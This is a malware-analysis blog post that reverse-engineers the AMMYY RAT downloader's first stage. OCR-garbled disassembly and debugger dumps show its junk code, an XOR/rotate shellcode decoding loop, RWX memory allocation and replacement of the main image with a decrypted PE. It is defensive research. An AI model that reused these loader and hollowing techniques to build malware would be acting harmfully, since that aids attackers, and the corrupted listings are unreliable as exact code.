A Brief Overview of the AMMYY RAT Downloader

secrary.com/ReversingMalware/AMMY_RAT_Downloader/

```
cd ../reverse_engineering_malware 4 minutes read
SHA-256: <u>963f1735e9ee06c66fdf3a831d7c262bc8bce0d7155e37f9a5aa2677e0a6090c</u>
```

You can download the malware sample from <u>malware-traffic-analysis.net</u>

Stage 1

The main function is full of junk instructions, the most interesting function inside the main is decode_n_call function near the end:

00410002				
0041BC62 lo	c 41BC62:			
0041BC62	-	mov	[ebp+var 36C], 23E0h	
0041BC6C		mov	[ebp+var_378], 0F5B2D5B4h	
0041BC76		mov	ecx, [ebp+var 36C]	
0041BC7C		add	ecx. [ebp+var_378]	
0041BC82		mov	edx. [ebp+var_368]	
0041BC88		sub	edx. ecx	
0041BC8A		mov	[ebp+var 368], edx	
0041BC90		mov	eax, [ebp+var 378]	
0041BC96		and	eax. 9E5Eh	
0041BC9B		add	eax, [ebp+var 378]	
0041BCA1		imul	eax, [ebp+var_36C]	
0041BCA8		mov	[ebp+var_36C], eax	
0041BCAE		mov	[ebp+var_364], 0E5BCh	
0041BCB8		mov	ecx. [ebp+var 364]	
0041BCBE		add	ecx. 1	
0041BCC1		mov	eax, [ebp+var 364]	
0041BCC7		cda	rent forther Training	
0041BCC8		idiv	ecx	
0041BCCA		mov	[ebp+var 374], eax	
0041BCD0		lea	edx, [ebp+var 364]	
0041BCD6		mov	[ebp+var_370], edx	
0041BCDC		lea	eax, [ebp+var 364]	
0041BCE2		mov	[ebp+var_37C], eax	
0041BCE8		mov	ecx, [ebp+var 370]	
0041BCEE		mov	edx, [ebp+var_37C]	
0041BCF4		mov	eax, [ecx]	
0041BCF6		sub	eax, [edx]	
0041BCF8		imul	eax, [ebp+var 364]	
0041BCFF		mov	[ebp+var 364], eax	
0041BD05		call	decode n call	
		_	*	
🗾 🎿 💌				
0041BD0A	44.000.4			
0041BD0A 100	_418D0A:			
0041BD0A		mov	[ebp+var_60], 0F54E1E6Ch	
0041BD11		mov	[ebp+var_2C], 0E0n	
00416018		mov	ecx, [ebp+var_60]	
0041BD1B		or	ecx, 0F9A3ECEFN	
0041BD21		imui	ecx, [ebp+var_2C]	
0041BD25		imul	ecx, [ebp+var_60]	
00418029		mov	[epp+var_60], ecx	
0041BD2C		xor	eax, eax	
0041BD2E		mov	ecx, [ebp+canary]	
0041BD34		xor	ecx, ebp	

Inside the decode_n_call function, it allocated memory, decodes a data from 0x0433220 address and jumps to it via call instruction:

```
47 env_str_ver_info (47665, 47665, 47665);
    alloc mem = VirtualAlloc(0, 0xD20u, flAllocationType, 0x40u);
48
49
    v35 = -12632842;
50 env_str_ver_info___(60702, 60702, -12632842);
51
   v14 = 206;
52
   v9 = 44331;
53
   v15 = &v14;
    v30 = -206;
54
55
    alloc mem code = alloc mem;
56
    v25 = &v33;
57
    v33 = 2465;
58
   for (i = 0; i < 4; ++i)
59
    {
     v36 = -37286786;
60
61
     v7 = 37286657;
62
    }
    for ( index code = 0; index code < 0x348; ++index code )</pre>
63
64
    {
65
     c word = *&dword_433220[4 * index_code];
66
     0x7558 = 0x7558;
67
     v3 = 0xFFFFFB0;
     c word = 0x7558 ^ __ROL4_(c_word - index_code, 5);
68
69
     *(alloc mem + index code) = c word;
70 }
71
    v39 = 20872;
72
  for (j = 0; j < 4; ++j)
     v38 = 0xF68DCC2C;
73
74
   v39 += 219961;
75
   v38 = 51302;
76
   v34 = \&v38;
77
    v39 -= 0x1088;
78
    kernel32_handle = GetModuleHandleA("kernel32");
    v19 = dword_402CD8;
79
80
    v20 = 98200;
    v21 = 5182;
81
   v22 = 183808;
82
83
   v23 = &v13;
84
   v24 = 35407;
85
   v13 = -251584399;
    for (k = 0; k < 4; ++k)
86
87
    {
     v13 *= (v13 | 0xFAC6A2AA) - 241301498;
88
89
     v12 = -241301498 / (v24 + 1) - 241301498;
90
    }
  env_str_ver_info___(v24, "m_TempAdaptBuf", v24);
91
92 alloc mem code(&kernel32 handle);
          45574000.
93
94 v31 = -1524553;
95 v27 = &v16;
```

 Di Calipoli (D													Card O J HIDOID			
83	C4	0C					add	esp,C								
8D	4D	A8					lea	ecx,d	lword	l ptr	SS:	ebp-	58			
51							push	1 ecx								
FF	55	8C					call	dwor	d pt	r 55	:[eb	p-74]				
C7	45	A0	BO	94	48	FD	mov	dword	l ptr	SS:	[ebp	-60],	FD48	94B0		
C7	45	DC	B7	BC	E8	FF	mov	dword	l ptr	SS:	[ebp	-24],	FFE8	BCB7		
8B	55	A0					mov	edx,d	word	l ptr	SS:	ebp-	60			
2B	55	DC					sub	edx,d	lword	l ptr	SS:	ebp-	24			
89	55	C8					mov	dword	l ptr	SS:	[ebp	-38],	edx			
8D	45	A0					1ea	eax,d	word	l ptr	SS:	ebp-	60			
89	45	CC					mov	dword	l ptr	SS:	[ebp	-34],	eax			
8D	4D	A0					1ea	ecx,d	word	l ptr	SS:	ebp-	60			
89	4D	F4					mov	dword	l ptr	SS:	ebp	-C],e	CX			
8B	55	CC					mov	edx,d	word	l ptr	SS:	ebp-	34			
8B	45	F4					mov	eax,d	lword	l ptr	SS:	ebp-	·C]			
8B	0A						mov	ecx,d	lword	l ptr	ds:	[edx]				
0F	AF	08					imul	ecx,	dwor	d pt	r ds	[eax	1			
03	4D	C8					add	ecx,d	lword	l ptr	SS:	ebp-	38			
89	4D	C8					mov	dword	l ptr	SS:	[ebp	-38],	ecx			
8B	55	C8					mov	edx,d	word	l ptr	SS:	ebp-	38			
52							push	ı edx								
8B	45	A0					mov	eax,d	lword	l ptr	SS:	ebp-	60]			
50							push	i eax		-			-			

It allocates two memory blocks, each 0x3000 length, with PAGE_EXECUTE_READWRITE permission:

n n F	nov eax,dword ptr ss:[ebp-18] nov dword ptr ss:[ebp-28],eax push 4	
n	nov ecx,dword ptr ss:[ebp+8]	
n	nov edx,dword ptr ds:[ecx+8] oush edx	
	oush 0 all dword ptr ss:[ebp-38]	[ebp-38]:VirtualAlloc
n	nov dword ptr ss:[ebp-3C],eax	2
	ine 25602C2	
	JMP 2560582 bush 4	
n n	nov eax,dword ptr ss:[ebp+8]	
n	nov ecx,dword ptr ds:[eax+10]	
	oush 0	[abp_22].VirtualAlloc
n	nov dword ptr ss:[ebp-2C],eax	[ebp-ss].vircualArioc
	ine 25602E3	
	jmp 25605B2	
00 n	nov dword ptr ss:[ebp-C0],0	
00 n	nov dword ptr ss: ebp-BC,0	

After that, it writes some decoded data inside the first allocated memory:

-	FF	00	mov	dword	ptr	ss: e	вр−вс <mark>,</mark>	0		
÷	FF		mov	edx, di	word	ptr s	s: ebp-	-C0]		
			add	edx,1				_		
÷	FF		mov	dword	ptr	ss:[e	bp-C0],	edx		
÷	FF		mov	eax, di	word	ptr s	s:[ebp-	BC		
			add	eax,1						
1	FF		mov	awora	ptr	ss:le	pp-sc,	ol		
÷	FF		mov	edy d	word	ntr s	s ehn-	COL		
			cmp	edx, d	word	ptr d	s: Lecx-	-81		ecx+8:"rAprMavlunl
			iae	25 603	63	p c	- Leeve	-1		cextor mprinaysans
÷	FF		mov	eax, d	word	ptr s	s: ebp-	BC		
			xor	edx, e	dx			-		
Э			mov	ecx,3						ecx:"JanFebMarAprM
			div	ecx						ecx:"JanFebMarAprM
			test	edx,	edx					
			Jne	25603	4/	ntr c	c · Cehn-	COL		
	FF		add	edx.2	NOT U	pti 5	s. [enh-	CU		
÷	FF		mov	dword	ptr	ss: [e	bp-C01.	edx		
			mov	eax.d	word	ptr s	s lebp-	-81		
			mov	ecx, di	word	ptr d	s:[eax+	-4]		ecx:"JanFebMarAprM
			mov	edx, di	word	ptr s	s:[ebp-	- 3Ĉ		
÷	FF		add	edx,d	word	ptr s	s:[ebp-	BC		
÷	FF		mov	eax, di	vord	ptr s	s: ebp-	CO		
			mov	ci, by	ce pt	r as:	Lecx+ea		ecx+eax*1]: AprMay	
			imp	25.602	59	is. Leu	×],ci			
			mov	edx.d	word	ptr s	s: Cebp-	-81		
			mov	eax, d	word	ptr d	s: edx+	-8]		
			imul	∣eax,	eax,3	i -	-	-		
			xor	edx,e	dx					
)			mov	ecx,5						ecx:"JanFebMarAprM
			aiv	ecx			h.m			ecx: JanFebMarAprM
÷	EE	00	mov	dword	ptr	5510	bp-24, $bp-C4$	eax		
	FF.	00	imp	25 602	22	33. <mark>[</mark> e	op c+1,	0		
			9 -0				(A)		1	
m	ıp 5		😨 Wa	atch 1	[x =]	Locals	🖉 St	ruct		
		A	SCII							
ō	0 0	0 N	'0							
0	0 0	0.				•				
0	0 0	0.				•				
0	0 0		• • • •			•				
0						•				
0		ŏ .								
ŏ	0 0	ŏ.								
õ	0 0	0.								
0	0 0	0.								
0	0 0	0.								
0	0 0	0.				•				
0	0 0	0.	• • • •			•				
	0 0	υ.								

Also, there is another loop which decodes/decrypts once again the written data in the memory:

зc	FF	FF	FF	00	mov dword ptr ss: ebp-C4],0
3C	FF	FF	FF		mov edv.dword ptr sst[ebn-C4]
01					add edx.1
ЗC	FF	FF	FF		mov dword ptr ss:[ebp-C4],edx
DC					mov eax,dword ptr ss:[ebp-24]
02					shr eax,2
зc	FF	FF	FF		cmp dword ptr ss:[ebp-C4],eax
20	FF	FF	FF		mov ecx dword ntr ssilehn-C4
-4					mov edx, dword ptr ss: ebp-3C
BA					mov eax.dword ptr ds:[edx+ecx*4]
38	FF	FF	FF		mov dword ptr ss:[ebp-C8],eax
38	FF	FF	FF		mov ecx,dword ptr ss: ebp-C8
ЗC	FF	FF	FF		sub ecx, dword ptr ss: [ebp-C4]
38	FF	FF	FF	~-	mov dword ptr ss: ebp-C8,ecx
38	FF	FF	FF	05	rol dword prr ss: ebp-C8,5
20	EE	EE	EE		mov eax dword ptr ssilepts
h	F.F.				xor eax, dword ptr ds:[edx+C]
38	FF	FF	FF		mov dword ptr ss: ebp-C8 eax
3C	FF	FF	FF		mov ecx, dword ptr ss: ebp-C4
24					mov edx,dword ptr ss:[ebp-3C]
38	FF	FF	FF		mov eax,dword ptr ss:[ebp-C8]
ВA					mov dword ptr ds:[edx+ecx*4],eax
					Jmp 30384
94					mov ecx, aword ptr ss: [eop-20]
-4					mov_edx.dword_ptr_ss:[ebp-3C]
					push edx
06	00	00			call 30A70
08					add esp,8
					test eax,eax
-	~~	~~			<u>jne</u> 3040B
51	00	00			Jmp SUSB2
50	00	00			push 0
	-	D			🕅 Wateh 1 - Izarla 🖉 Struct
	0-0	Dum	ψs		
				A	SCII
6	8 1	58	E F	CM	8Z.'0.0ē.üxhü
0	8 4	0 6	8 E	EI¥	.º0·0a_DAMh1
6		5 5	9 0		jguu Bob»uy;c
F	56	9 2	8 0	5 .	Kelopeelo
B	οĂ	8 6	FD	ž .	.Cf. "\$.R» ° 00
A	A 7	8 8	2 D	8 ¤	xÊ.E *Ç.OÏ*X.Ø
4	49	0 3	9 A	1.]90«.x:.4D.9i
C	A 3	1 0	5 B	3 B	. Na]E.BéG É1.*
8	A 0	92	89	0 ;	.CC. ª.æG*B(.
B	29	UF	03	r e	10/at./5.X0*.0?
E E		Δ <i>Δ</i>	- 9 8 A	8 1	5 ÅNICD& LAUGH
F	6 1	3 8	3 1	õ 1	CDXW.«æ
7	3 0	BA	0 D	5 a	è.õùd¦x2ÅÅàs. Ö
C	C 5	A E	E 1	7 δ	AâaFD>+Ă.ÌZî.
	D A	-	-		folder n és f él

Seems like it's **PE** file, but still encoded, not valid yet.

Function 0×30A70 gets two arguments, the encoded/encrypted data and the second allocated memory, the function returns a decoded/decrypted PE file via the second argument:

				Jae	303F2								EAV	0000	2004	
F	FF	FF		mov	ecx, dv	word pt	ss:	ebp-	C4				EAA	0000	0001	
				mov	edx, dv	vord pt	ss:	ebp-	3C				EBX	0000	10001	
				mov	eax, dv	vord pt	ds:	[edx+	ecx*4]				ECX	0258	0000	
F	FF	FF		mov	dword	ptr ss	ebp	-C8],	eax 🗍				EDX	0256	0000	
F	FF	FF		mov	ecx, dv	word pt	SS:	ebp-	C8]				EBP	0019	FA78	
F	FF	FF		sub	ecx, dv	vord pt	ss:	ebp-	C4				ESP	0019	F99C	
F	FF	FF		mov	dword	ptr ss	ebp	-C8],	ecx				ESI	0000	0002	
F	FF	FF	05	rol	dword	ptr ss	ebp	-C8	5				EDI	0000	23F0	
				mov	edx, dv	word pt	SS:	ebp+	8]							
F	FF	FF		mov	eax, dv	vord pt	ss:	ebp-	C8]				EIP	0003	O3FA	
				xor	eax, dv	vord pt	ds:	[edx+	c]							
F	FF	FF		mov	dword	ptr ss	ebp	-C8],	eax				EEL AG	.s 0	0000246	
F	FF	FF		mov	ecx, dv	word pt	SS:	ebp-	C4]				75 1	DE 1	AE 0	
				mov	edx, dv	vord pt	SS:	ebp-	3C				2F 1	- FF 1		
F	FF	FF		mov	eax, dv	word pt	SS:	ebp-					35 0			
				mov	dword	ptr ds	[edx	+ecx*	4],eax				CF 0	IF 0	1 1 1	
				jmp	30384									_		
				mov	ecx,dv	vord pti	SS:	ebp-	2C				Laste	rror	0000007/	A (ERROF
				pust	n ecx								Lasts	Status	C000003	4 (STATI
				mov	edx,dv	vord pti	SS:	ebp-	3C							
				pust	n edx								GS 00)2B F	S 0053	
0	00			cal	30A70	<mark>)</mark>							ES 00)2B D	S 002B	
				add	esp,8								CS 00	23 5	S 002B	
				test	t eax,e	eax										
				jne	3040B								x87r0	0000	000000000	000000
0	00			jmp	305 B2								x87r1	0000	0000000000	0000000
0	00			pus	n 8000								×9767		0000000000	0000000
				pusi	n 0	-		_	_				X0/12			0000000
				mov	eax,dv	vord pti	SS:	ebp-	3C				X8713	5 0000	0000000000	0000000
				pusi	n eax		_ .	_					X8/r4	0000	000000000000	0000000
				cal	dword	i ptr s	s:[eb	p-ec]	_		[ebj		x87r5	0000	000000000	0000000
				mov	ecx, dv	vord pt	SS:	ebp-	2C				x87r6	5 3FFF	80000000	0000000
				mov	edx,dv	vord pt	SS:	ebp-	2C				x87r7	3FFF	8DB70C975	SDF2236
				add	edx, dv	vord pti	ds:	[ecx+	3C]							
F	FF	FF		mov	dword	ptr ss	ebp	-94],	edx				х87Та	agword	FFFF	
				lea	eax,dv	vord pti	SS:	ebp-	20				X87TV	v оз	(Empty)	x87TW
				pus	n eax									-		
				pusi	n 40 .			- .				1	De Certe	(`	
F	FF	FF		mov	ecx,dv	word pt	ss:	epp-	94				Default	(stocall))	
				mov	eax, av	vora pti	as:	Lecx+	50]				1: [e	sp] 01	2560000	
				pusi	n eax			-					2: [e	sp+4]	02580000)
				mov	eax, dv	word pti	ss:	epp-	28			¥	3: [e	sp+8]	00000000	
				nilei	- asv								4: [e	sp+C]	00000000	
								_					5: [e	sp+10] 0000000	0
		_		-	-	<u>200</u>				6)		_				
-0	Dur	mp 4		D	ump 5	🥶 Wa	tch 1	[<i>x</i> =]	Locals	🖉 Stru	ct					
						ASCII			1							
0	9 7	1 EF	- 8	1 88	C2 91	M87.8	f. o	ÿ. Ά				_				
1	FR	A F	8 0	3 R4	09 00	.@Å. æ		a. ' t	-							
7	3 2	0 70		2 39	6F 67	I ËL.	This	pr 900								
7	4 9	E 63	6	5 BE	3D 75	am.c.	n}?t.	be/=u								
6	F O	E 64	4 6	5 2F	0D 25	~ai.DO	Sømo	de 9	6							
2	B 6	A 17	7 0	4 07	F5 4D	.\$`hê.	Dä.+i	õ								
o	DE	3 E	e c	5 05	4F 10	§Å.0. ¤	.06	éÅ.0.								
6	B 8	6 10	0 8	A 10	32 27	¥.+aùÅ	.0.k.	2								
3	0 FI	D 08	BC	8 20	A6 60	d01f	«(*0ý	.È.!								
5	0 4	5 08	8 4	C 38	01 05	Richex	5Å.PE	.L8.								
0	2 0	1 0	BD	9 04	12 FE	.ÌÙ.[c	. à	.ùb							Ո	'n
4	2 0	4 0	1 4	C 1E	81 00	é	N R	1							5	

It removes the **main** executable from the memory and copies recently decoded/decrypted code:

F	FF	FF (00	mov dword ptr ss: ebp-ccj,0	
F	FF	FF		<pre>mov edx,dword ptr ss:[ebp-CC]</pre>	
F	FF	FF		add edx,1 mov dword ptr ss:[ebp-CC].edx	
F	FF	FF		mov eax,dword ptr ss:[ebp-94]	[ebp-94]:"PE"
F	FF	FF		mov ecx, dword ptr ss: ebp-CC	
				cmp_ecx,dword_ptr_ds:[eax+50]	
				Jac 50488	
-				add adv dword ptr ss: epp-so	
-	FF	FF		mov byte ntr ds:[edv] 0	
				imp 3045A	
F	FF	FF		mov eax,dword ptr ss:[ebp-94]	[ebp-94]:"PE"
				mov ecx,dword ptr ds:[eax+54]	
				push ecx	
				mov edx,dword ptr ss:[ebp-2C]	
				push edx	
				mov_eax,dword_ptr_ss:[ebp-28]	
				push eax	eax: "PE"
0	00			call 30870	
				add esp,C	
				mov ecx, dword ptr ss: ebp-20	
				add edv dword ptr ss. epp-28	
E	FF	FF		mov dword ntr ss [ebn-94] edv lb	[ebn=94] · "PE"
÷F.	FF	FF		mov eax dword ptr ss: [ebp-94]	[ebp-94]: "PF"
4				movzx ecx.word ptr ds:[eax+14]	
F	FF	FF		mov edx, dword ptr ss:[ebp-94]	[ebp-94]:"PE"
Q				les esv dword oto de ledviervilel	Asvi "oc"

🖳 Dump	5	👹 Watch 1	[<i>x</i> =]	ocals	Struct				
		ASCII							
00 00	B8		ÿÿ						
00 00	00	@							
00 00	00								
00 00	0E		è						
54 68	69	.º'.1!L	1!Thi						
6E 6F	74	s program c	annot						
53 20	6D	be run in	DOS m						
00 00	FD	ode\$	ý						
01 84	9E	ëox''	1						
01 84	9E	L .ªLO.	¢						
01 84	BO	L1.ïLz.	»°						
01 84	BO	òº'	â°						
01 84	52	ò°ò	R						
00 00	00	ich ¹							
03 00	0A	PE	L						
02 01	OB	ô.[à						
00 00	P 2								

Section maps:

	0003050C	8B 8D	30 FF F	FF FF	mov ecx,dword ptr ss:[ebp-D0]	
	00030512	6B C9	28		imul ecx,ecx,28	
	00030515	8B 95	58 FF F	FFF	mov edx, dword ptr ss: [ebp-A8]	[ebp-A8]:".text"
	0003051R	8B 45	D4		mov eax,dword ptr ss:[ebp-2C]	같은 모두 눈 모두 눈 같은 것을 가지 않는 것을 가지 않는 것을 했다.
	Breakpoint Not	tSet 03 44	0A 14		add eax, dword ptr ds: [edx+ecx+14]	
	000305221	50			push eax	
	00030523	8B 8D	30 FF F	FF FF	mov ecx, dword ptr ss: [ebp-D0]	
	00030529	6B C9	28		imul ecx,ecx,28	하는 것은 한 것은 것은 것을 가지 않는 것을 못 했다.
	0003052C	8B 95	58 FF F	FF FF	mov edx, dword ptr ss: [ebp-A8]	[ebp-A8]:".text"
	00030532	8B 45	D8		mov eax, dword ptr ss: ebp-28	영어, 무료는 것은 것이 같은 것이 없는 것이 없는 것이 없다.
	00030535	03 44	OA OC		add eax dword ptr ds:[edx+ecx+C]	한다. 한다리 같은 것 같아요. 한다리 한다. 한다. 한다. 한다.
	00030539	50			push eax	
	0003053A	E8 31	03 00 0	00	call 30870	
	0003053F	83 C4	0C		add esp.C	
	00030542	∧ EB 93			imp 304D7	
L>	00030544	8B 8D	GC FF F	FF FF	mov ecx.dword ptr ss:[ebp-94]	[ebp-94]:"PE"
	0003054A	8B 51	34		mov edx.dword ptr ds:[ecx+34]	
	0003054D	38 55	D8		cmp_edx_dword_ptr_ss:[ebp-28]	한 방법 전 전 전 전 전 전 전 전 전 전 전 전 전 전 전 전 전 전
	00030550	× 74 25			ie 30577	
	00030552	88 85	SC FF F	E FF	mov eax dword ptr ss. [ehp-94]	[ehn-94] · "PF"
	00020552	00 40	24	101100	mov ecy dword ptr ds:[esy+24]	[cop s4]. it
ļ.	<					
	<					
Dump 1	<	💷 Dump 4	+ 💷 D	ump 5	Watch 1 [x=] Locals	
Dump 1 Dump 2	K Dump 3	💷 Dump 4	ł 💷 D	ump 5	Watch 1 [x=] Locals Struct	
Dump 1 Dump 2	Conception 2	Dump 4	ŧ 💷 D	ump 5	Watch 1 [x=] Locals Struct	
Dump 1 Dump 2 dress Hex 400FF0 00 00 00 00 00 401000 55 88 FC 81 FC	<	Dump 4	+ U D	00 00	Watch 1 [x=] Locals Struct	
Dump 1 Dump 2 dress Hex 400FF0 00 00 00 00 00 401000 55 88 EC 81 EC 401001 06 CZ 45 EC 00	Construction of the second	Dump 4	+ D	00 00 08 6A 00 F8	Image: Watch 1 [x=] Locals Image: Struct ASCII Image: Struct Image: Struct U.1.1Vhx=V.1 Image: Struct GEU CEU	
Dump 1 Dump 2 dress Hex 400FF0 00 00 00 401000 55 8B EC 81 EC 4010010 06 C7 45 FC 00	C Dump 3 00 00 00 0 00 00 00 0 0 00 00 00 0 0 00 00 00 0 0 00 00 00 0 0 00 00 00 0 0	Dump 4	+ D	00 00 08 6A 00 E8 00 68	Image: Watch 1 Image:	
Dump 1 Dump 2 dress Hex 400FF0 00 00 00 00 401000 55 88 EC 81 EC 401010 06 C7 45 FC 00 401020 2 34 00 08 34	 Construction Const	Dump 4	0 00 00 7 3D 59 0 00 00 A 00 6A 8 83 68	00 00 08 6A 00 E8 00 68 EE 55	Watch 1 [x=] Locals Struct ASCII	
Dump 1 Dump 2 dress Hex 400FF0 00 00 00 00 00 401000 55 88 EC 81 EC 401010 06 C7 45 FC 00 401020 2C 34 00 00 83 401030 88 E5 50 C3 57 401040 88 E5 C3 C3	 Construction Const	Dump 4 00 00 00 00 00 56 68 D 7 45 F8 0 00 6A 00 6 35 F6 75 0 0 B8 6A 0	0 00 00 7 3D 59 0 00 00 A 00 6A 88 83 C8 6 68 65	00 00 08 6A 00 E8 00 68 FF 5E 33 00	Watch 1 [x=] Locals Struct ASCII	
Dump 1 Dump 2 dress Hex 400FF0 00 00 00 00 401000 55 88 EC 81 EC 401000 6C 7.45 FC 00 401020 2C 34 00 83 14 41 00 FF 401040 88 E5 5D C3 57 401050 00 83 5D C3 57 401050 00 83 5D C3 57 401050 00 83 C4 08 6F 401050 14 85 5D C3 57 401050 00 83 5D C3 57 401050 00 83 5D C3 57 401050 00 83 5D C3 57 50 C3 50 50 C3 50 <th> Construction Const</th> <th>Dump 4 00 00 00 0 056 68 D 056 68 D 056 68 D 056 80 6 05 F6 75 0 0 00 88 68 0</th> <th>10 00 00 17 3D 59 10 00 00 14 00 6A 18 83 C8 16 E8 FF 16 00 6A</th> <th>00 00 08 6A 00 E8 00 68 FF 5E 33 00 00 FF</th> <th>Watch 1 [x=] Locals Struct ASCII </th> <th></th>	 Construction Const	Dump 4 00 00 00 0 056 68 D 056 68 D 056 68 D 056 80 6 05 F6 75 0 0 00 88 68 0	10 00 00 17 3D 59 10 00 00 14 00 6A 18 83 C8 16 E8 FF 16 00 6A	00 00 08 6A 00 E8 00 68 FF 5E 33 00 00 FF	Watch 1 [x=] Locals Struct ASCII	
Dump 1 Dump 2 dress Hex 400FF0 00 00 00 401000 55 88 EC 81 EC 401000 66 C7 45 FC 00 401020 2C 34 00 08 34 400 FF 401030 88 14 41 00 FF 4010400 85 65 FE DC 357 401050 25 68 67 67 601050 67 68 67 67 601050 67 <t< th=""><th> Construction Const</th><th>Dump 4 00 00 00 00 0 56 68 D 00 6A 00 6 00 6A 00 6 00 6A 00 00 88 6A 0 00 00 80 6 5 F 75 18 6</th><th>0 00 00 7 3D 59 0 00 00 4 00 6A 8 83 C8 6 E8 FF A 00 6A 8 00 6A</th><th>00 00 08 6A 00 68 00 68 FF 5E 33 00 00 FF 33 00 00 FF 14 73</th><th>Watch 1 [x=] Locals Struct ASCII </th><th></th></t<>	 Construction Const	Dump 4 00 00 00 00 0 56 68 D 00 6A 00 6 00 6A 00 6 00 6A 00 00 88 6A 0 00 00 80 6 5 F 75 18 6	0 00 00 7 3D 59 0 00 00 4 00 6A 8 83 C8 6 E8 FF A 00 6A 8 00 6A	00 00 08 6A 00 68 00 68 FF 5E 33 00 00 FF 33 00 00 FF 14 73	Watch 1 [x=] Locals Struct ASCII	
Dump 1 Dump 2 dr ess Hex 400FF0 00 00 00 401000 55 8B EC 81 401000 2C 34 000 00 00 401020 2C 34 00 08 81 441 00 FF 401040 8B E5 5D C3 57 401050 00 83 44 100 FF 401060 75 08 56 FF D0 401020 64 06 80 50 C3 57 401050 64 06 80 56 FF D0 401020 64 06 80 33 50 57 57 50 56 FF D0 401020 64 06 80 50 FF D0 401020 64 06 80 50 FF D0 50 57 50 50 50 57 50 <th> Construction Const</th> <th>Dump 4 00 00 00 00 0 56 68 D 7 45 F8 0 00 6A 00 6 55 F6 75 0 00 88 6A 0 00 00 80 6 F7 75 1B 6 4 08 57 F</th> <th>0 00 00 7 3D 59 0 00 00 A 00 6A 88 83 C8 6 E8 FF A 00 6A 88 00 6A 88 00 6A</th> <th>000 00 08 6A 00 E8 00 68 FF 5E 33 00 00 FF 14 73 83 C8</th> <th>Watch 1 [x=] Locals Struct ASCII </th> <th></th>	 Construction Const	Dump 4 00 00 00 00 0 56 68 D 7 45 F8 0 00 6A 00 6 55 F6 75 0 00 88 6A 0 00 00 80 6 F7 75 1B 6 4 08 57 F	0 00 00 7 3D 59 0 00 00 A 00 6A 88 83 C8 6 E8 FF A 00 6A 88 00 6A 88 00 6A	000 00 08 6A 00 E8 00 68 FF 5E 33 00 00 FF 14 73 83 C8	Watch 1 [x=] Locals Struct ASCII	
Jump 1 Jump 2 dr ess Hex 400FF0 00 00 00 401000 55 88 EC 81 EC 401010 06 C7 45 FC 00 401000 83 41 00 64 74 FF 401040 88 14 41 00 FF 401040 88 55 5D C3 57 401050 00 83 C4 08 64 401060 75 08 66 FF 401060 FF 55 67 10 401070 64 06 E8 93 34 401080 FF 55 FF 10 55 58 FF 10 55 55 55 55 53 55	 C Dump 3 D0 00 00 D0 00 00 C4 08 6A C4 08 6A C4 08 6A C5 80 6 C6 80 6 C3 53 68 	Dump 4 00 00 00 00 00 56 68 D 00 64 00 6 00 64 00 6 5 F6 75 0 00 88 64 0 00 80 6 F7 75 18 6 F7 75 18 6 F7 75 18 6 F4 08 57 F	10 00 00 17 3D 59 10 00 00 14 00 6A 18 83 C8 16 E8 FF 16 E8 FF 16 E8 FF 17 00 6A 18 0C FB 18 6A 01	00 00 08 6A 00 E8 00 68 FF 5E 33 00 00 FF 14 73 83 C8 85 8 80	Watch 1 [x=]Locals Struct ASCII	
Dump 1 Dump 2 dress Hex 400FF0 00 00 00 401010 06 C7 45 FC 401010 06 C7 45 FC 00 401020 2C 34 00 08 85 FS 10 401030 88 14 41 00 FF 401040 85 FS DC 357 401050 00 83 C4 08 ES 5D C3 57 401050 06 83 C4 08 ES 50 C3 57 401050 06 83 C4 08 ES 50 401000 75 08 56 FF D0 4010200 CA 08 25 S5 S5 S4 S5 S5 S5 S5 S5 S4 S4 S4 S4 S4 S4 S5 S5	 C C	Dump 4 00 00 00 00 00 56 68 D 00 6A 00 6 35 F6 75 0 0 68 6A 0 00 00 80 6 6F 75 1B 6 00 00 80 6 6F 75 1B 6 8 80 00 0	4 00 00 00 7 3D 59 00 00 00 8 83 C8 8 83 C8 6 E8 FF A 00 6A 8 0C FB F D0 5F 8 6A 01 9 00 6A	000 00 08 6A 00 68 FF 5E 33 00 00 FF 14 73 83 C8 E8 BD 02 64	Watch 1 [x=] Locals Struct ASCII	
Dump 1 Dump 2 dr ess Hex 400FF0 00 00 00 00 401000 55 8B EC 81 EC 4010100 65 8B EC 81 EC 401020 2C 34 00 08 34 41000 FG 401020 2C 34 00 08 34 410 FF 401040 8B E5 5D C3 57 401050 00 83 64 98 33 401060 75 08 56 FF D0 401070 GA 06 E8 D9 33 401080 33 00 08 S2 C4 401090 30 00 85 C4 A0	 C Dump 3 O0 00 00 0 O0 00 00 0 O0 00 00 0 O0 00 00 0 C4 08 6A 00 B6 66 BD 7 O0 83 60 0 B8 F8 85 F O0 83 60 0 C3 53 68 1 O8 6A 00 0 O8 00 00 83 C3 53 68 1 O8 6A 00 0 	Dump 4 00 00 00 00 00 56 68 D 00 6A 08 68 00 6A 00 68 55 F6 75 0 00 00 80 66 57 75 18 6 4 08 57 F 4 8 57 F 4 51 F8 0 58 80 00 0 58 80 00 0	0 00 00 7 3D 59 0 00 00 4 00 6A 8 83 C8 8 83 C8 6 E8 FF A 00 6A 8 00 6A 8 00 6A 8 00 6A 8 00 5F 8 6A 01 10 00 6A	00 00 08 6A 00 88 00 68 00 68 00 68 33 00 00 FF 14 73 83 C8 88 BD 02 6A 08 83	Watch 1 [x=] Locals Struct ASCII	
Dump 1 Dump 2 dress Hex 400FF0 00 00 00 401000 55 88 EC 81 EC 4010100 65 745 FC 00 00 83 401020 2C 34 00 83 400 83 401030 88 14 41 00 FF 401040 08 85 5D C3 57 401050 08 35 5D C3 57 401050 07 58 85 FD 04 401070 6A 06 88 59 33 401080 FF 58 85 50 401000 00 6A 03 68 00 401000 6A 03 68 00 04	00 00 00 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 F8 00 00 83 C 03 64 00 00 00 00 00 83 00 00 83 C 03 64 00 00 00 00 83 C 00 00 00 00 00 00 00 00	Dump 4 00 00 00 00 00 56 68 00 00 6A 00 6 35 F6 75 0 00 80 6A 0 00 80 6 75 18 6 4 08 57 F 4 71 F8 0 8 80 00 0 75 75 0C F 75 0C F	0 00 00 7 3D 59 10 00 00 00 14 00 60 64 15 8 3C C8 16 E.8 FF F 18 00 6A 01 18 6A 01 5F 18 6A 00 6A 19 00 6A 10 10 00 83 20 10 00 84 30	00 00 08 6A 00 68 00 68 FF 5E 33 00 00 FF 14 73 83 C8 E8 BD 02 6A D8 83 00 68	Watch 1 [x=] Locals Struct ASCII	
